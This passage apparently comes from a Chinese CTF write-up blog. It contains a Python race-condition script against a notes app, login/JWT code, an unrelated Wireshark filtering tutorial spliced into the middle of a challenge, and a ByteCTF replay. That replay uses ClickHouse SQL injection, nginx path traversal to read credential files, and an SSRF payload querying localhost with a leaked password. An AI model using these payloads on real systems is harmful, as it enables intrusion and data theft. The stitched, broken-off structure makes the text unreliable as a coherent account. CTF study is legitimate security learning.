`uid:${uid}:notes`,
]);
},

而在这个模块中,有延时存在,进入flash以后会对session进行操作,可以理解为暂时替我们保留了一会session

if (req.query.random) {
const ms = Math.floor(2000 + Math.random() * 1000);
await new Promise(r => setTimeout(r, ms));
res.flash('info', `Our AI ran ${ms}ms to generate this piece of groundbreaking research.`);
content = 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.';
}

思路

创建用户,然后启用延时功能,在删除该用户的同时,使用它的session访问notes/flag表,但是我试了几次都没成功,想着会不会是手速不够快?这里涉及到多进程并行的情况,学习一下这个

class multiprocessing.Process(group=None, target=None, name=None, args=(), kwargs={}, *, daemon=None)

start()方法启动,这样创建进程比fork()还要简单。
join()方法可以等待子进程结束后再继续往下运行(更准确地说,在当前位置阻塞主进程,带执行join()的进程结束后再继续执行主进程
#这里说一下join方法,比如说有主进程和a和在执行,那么就是主进程执行然后紧跟着a.start(),遇到a.join()就会先阻塞主进程,等到a执行完毕,再执行主进程
import requests
import random
import string
from multiprocessing import Process
from time import sleep
import re

url = "https://nodenb.flu.xxx"

def register(u,p):
data={
"username":u,
"password":p
}
r=s.post(url+'/register',data=data)
return r

def login(u,p):
data={
"username":u,
"password":p
}
r=s.post(url+'/login',data=data)
return r

def deleteme():
r=s.post(url+"/deleteme")
return r
def get_flag():
r=s.get(url+"/notes/flag")
print(r.text)
return r

def sleep_notes(title,content,s):
p="/notes?random=true"
r=s.post(url+p,data={'title':title,'content':content})




if __name__=="__main__":
while True:
s = requests.session()
u = ''.join([random.choice(string.ascii_letters) for _ in range(3)])
p = ''.join([random.choice(string.ascii_letters) for _ in range(3)])
r1=register(u,p)
l1=login(u,p)
print("a",s.cookies)
c=s.cookies.get("connect.sid")
p=Process(target=sleep_notes,args=('a','a',s))
p.start()
sleep(0.5)
d=deleteme()
p.join()
s.cookies.update({"connect.sid":c})
r=get_flag()
if re.search("flag",r.text):
print()
break

最后还是没出来。头晕了–

trading-api(High)

js文件有点多,从页面入手吧,一开始他说我们没有tooken

function authn(req, res, next) {
const authHeader = req.header('authorization');
if (!authHeader) {
return res.status(400).send('missing auth token');
}
try {
req.user = jsonwebtoken.verify(authHeader, JWT_SECRET);
next();
} catch (error) {
return res.status(401).send('invalid auth token');
}
}

所以来看看login的地方

async function login(req, res) {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('missing username or password');
}

try {
const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
headers: { authorization: AUTH_API_TOKEN },
json: { password },
});
if (r.statusCode !== 200) {
return res.status(401).send('wrong');
}

const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
return res.json({ token: jwt });
} catch (error) {
return res.status(503).end('error');
}
}

wireshark工具操作

Wireshark使用教程(界面说明、捕获过滤器表达式、显示过滤器表达式)

一、说明

1.1 背景说明

对于大多数刚开始接触wireshark的使用者而言,经常是开始的时候时候看到wireshark能把所有数据包都拦截下来觉得强无敌,但是面对一大堆的数据包要问有什么用或者说想要找到我想要的那些数据包怎么找(比如telnet登录过程的那些数据包)则完全是一脸茫然。

一是界面一堆窗口,什么作用什么区别看不懂;二是捕获、显示过滤器表达示看不出有什么规律,每次过滤都要百度找半天。其实wireshark界面还是比较清晰的,过滤器表过示也不困难,我们今天就来破解这wireshark使用的两大难题。

官网地址:https://www.wireshark.org/

官网下载地址:https://www.wireshark.org/#download

安装就不多说了和一般windows一样下一步下一下装就可以了。另外ethereal为什么在2006年更名wireshark参见:https://www.linux.com/news/ethereal-changes-name-wireshark

1.2 拦截本地回环数据

另外注意本机访问本机的回环数据是不经过网卡的,比如我们在本机访问搭建在本机上的web服务,但我们经常有服务搭建在本机的操作也经常有拦截本地回环数据包加以分析的需求,所以我们环要拦载回环数据包。操作如下。

首先,以管理员身份运行cmd(普通用户没有路由表操作权限,会提示“请求的操作需要提升”)

然后,使用ipconfig查看本机ip和网关:

ipconfig

再然后,使用以下命令添加路由,指定回环数据也要先转发到网关(使用上一步获取本的本机ip和网关替换其中的):

route add <your_IP> mask 255.255.255.255 <gateway_IP> metric 1

最后,查看路由表中路由是否已添加成功:

route print

回环数据经网关再回来会增加网卡的压力,可使用以下命令删除路由(使用前边获取本的本机ip替换其中的):

route delete <your_IP>

二、Wireshark界面说明

过滤器表达式书写是wireshark使用的核心,但在此之前,很多初学者还会碰到一个难题,就是感觉wireshark界面上很多东西不懂怎么看。其实还是挺明了的我们下面简单说一下,如下图。

1号窗口展示的是wireshark捕获到的所有数据包的列表。注意最后一列Info列是wireshark组织的说明列并不一定是该数据包中的原始内容。

2号窗口是1号窗口中选定的数据包的分协议层展示。底色为红色的是因为wireshark开启校验和验证而该层协议校验和又不正确所致。

3号窗口是1号窗口中选定的数据包的源数据,其中左侧是十六进制表示右侧是ASCII码表示。另外在2号窗口中选中某层或某字段,3号窗口对应位置也会被高亮。

img

被认为最难的其实还是2号窗口展开后的内容不懂怎么看,其实也很明了,以IP层为例:

每一行就对应该层协议的一个字段;中括号行是前一字段的说明。

冒号前的英文是协议字段的名称;冒号后是该数据包中该协议字段的值。

img

三、捕获过滤器表达式

捕获过滤器表达式作用在wireshark开始捕获数据包之前,只捕获符合条件的数据包,不记录不符合条件的数据包。

捕获过滤器表达式没有像显示过滤器表达式那样明显的规律,但写法不多所以也不难;而且除非全部捕获要占用的磁盘空间实现太大,且你非常明确过滤掉的数据包是你不需要的,不然一般都不用捕获过滤器表达式而用显示过滤器表达式。

在wireshark2.x版本,启动后欢迎界面即有捕获过滤器,在其中输入过滤表达式开始捕获数据包时即会生效:

img

点击图中“书签”标志,再点管理“捕获筛选器”,即可看到常用捕获过滤表达示的书写形式

img

img

四、显示过滤器表达示及其书写规律

显示过滤器表达式作用在在wireshark捕获数据包之后,从已捕获的所有数据包中显示出符合条件的数据包,隐藏不符合条件的数据包。

显示过滤表达示在工具栏下方的“显示过滤器”输入框输入即可生效

img

4.1 基本过滤表达式

一条基本的表达式由过滤项、过滤关系、过滤值三项组成。

比如ip.addr == 192.168.1.1,这条表达式中ip.addr是过滤项、==是过滤关系,192.168.1.1是过滤值(整条表达示的意思是找出所有ip协议中源或目标ip、等于、192.168.1.1的数据包)

4.1.1 过滤项

初学者感觉的“过滤表达式复杂”,最主要就是在这个过滤项上:一是不知道有哪些过滤项,二是不知道过滤项该怎么写。

这两个问题有一个共同的答案—–wireshark的过滤项是“协议“+”.“+”协议字段”的模式。以端口为例,端口出现于tcp协议中所以有端口这个过滤项且其写法就是tcp.port。

推广到其他协议,如eth、ip、udp、http、telnet、ftp、icmp、snmp等等其他协议都是这么个书写思路。当然wireshark出于缩减长度的原因有些字段没有使用协议规定的名称而是使用简写(比如Destination Port在wireshark中写为dstport)又出于简使用增加了一些协议中没有的字段(比如tcp协议只有源端口和目标端口字段,为了简便使用wireshark增加了tcp.port字段来同时代表这两个),但思路总的算是不变的。而且在实际使用时我们输入“协议”+“.”wireshark就会有支持的字段提示(特别是过滤表达式字段的首字母和wireshark在上边2窗口显示的字段名称首字母通常是一样的),看下名称就大概知道要用哪个字段了。wireshark支持的全部协议及协议字段可查看官方说明

4.1.2 过滤关系

过滤关系就是大于、小于、等于等几种等式关系,我们可以直接看官方给出的表。注意其中有“English”和“C-like”两个字段,这个意思是说“English”和“C-like”这两种写法在wireshark中是等价的、都是可用的。

img

4.1.3 过滤值

过滤值就是设定的过滤项应该满足过滤关系的标准,比如500、5000、50000等等。过滤值的写法一般已经被过滤项和过滤关系设定好了,只是填下自己的期望值就可以了。

4.2 复合过滤表达示

所谓复合过滤表达示,就是指由多条基本过滤表达式组合而成的表达示。基本过滤表达式的写法还是不变的,复合过滤表达示多出来的东西就只是基本过滤表达示的“连接词”

我们依然直接参照官方给出的表,同样“English”和“C-like”这两个字段还是说明这两种写法在wireshark中是等价的、都是可用的。

img

4.3 常见用显示过滤需求及其对应表达式

数据链路层:

筛选mac地址为04:f9:38:ad:13:26的数据包—-eth.src == 04:f9:38:ad:13:26

筛选源mac地址为04:f9:38:ad:13:26的数据包—-eth.src == 04:f9:38:ad:13:26

网络层:

筛选ip地址为192.168.1.1的数据包—-ip.addr == 192.168.1.1

筛选192.168.1.0网段的数据—- ip contains “192.168.1”

筛选192.168.1.1和192.168.1.2之间的数据包—-ip.addr == 192.168.1.1 && ip.addr == 192.168.1.2

筛选从192.168.1.1到192.168.1.2的数据包—-ip.src == 192.168.1.1 && ip.dst == 192.168.1.2

传输层:

筛选tcp协议的数据包—-tcp

筛选除tcp协议以外的数据包—-!tcp

筛选端口为80的数据包—-tcp.port == 80

筛选12345端口和80端口之间的数据包—-tcp.port == 12345 && tcp.port == 80

筛选从12345端口到80端口的数据包—-tcp.srcport == 12345 && tcp.dstport == 80

应用层:

特别说明—-http中http.request表示请求头中的第一行(如GET index.jsp HTTP/1.1),http.response表示响应头中的第一行(如HTTP/1.1 200 OK),其他头部都用http.header_name形式。

筛选url中包含.php的http数据包—-http.request.uri contains “.php”

筛选内容包含username的http数据包—-http contains “username”

2021bytectf复现

前言

本来想打的(虽然自己很菜),但是周末有校赛,被拉过去凑数了没办法,后面来复现学习一下

double sqli

输入单引号有报错信息,搜索了一下报错信息,发现是clickhouse下的sql

img 这里查到了clickhouse下sql使用的手册,直接使用union就可以实现联合注入,并且是数字型注入
1 union all select user()
img

但是啥也没有抓包一下,发现是nginx服务器

?id=2时

然后看到有个file,又是nginx服务器,有个目录穿越的漏洞:
https://blog.csdn.net/weixin_41924764/article/details/113362883

/flies../

接下来就是去看看有没有sql配置文件看看里面的信息

http://39.105.175.150:30001/files../var/lib/clickhouse/access/

下载userlist和另外两个sql配置文件可以发现,存在另一个user用户
img

发现存在着另一个用户的密码

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

然后要怎么登陆呢?
使用另一个用户登陆mysql,那就需要ssrf
查了一下 发现clickhouse中的sql可以使用url()来执行http协议,并且clickhouse中的http协议可以实现sql语句的使用实现ssrf

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

https://clickhouse.com/docs/zh/interfaces/http/

https://blog.deteact.com/yandex-clickhouse-injection/

img

这个是个例子,根据这个例子我们可以构造一下试试看

?id=1 union all select * from url('http://127.0.0.1:8123/?query=select+*+from+ctf.flag&user=user_01&password=e3b0c44298fc1c149afb',Values, 'column1 String')

这样就可以了,主要是读文档的能力吧

Unsecure Blog

该blog是基于Jfinal框架进行二次开发的,在应用启动除发现存在全局的securitymanager,并且做了一些限制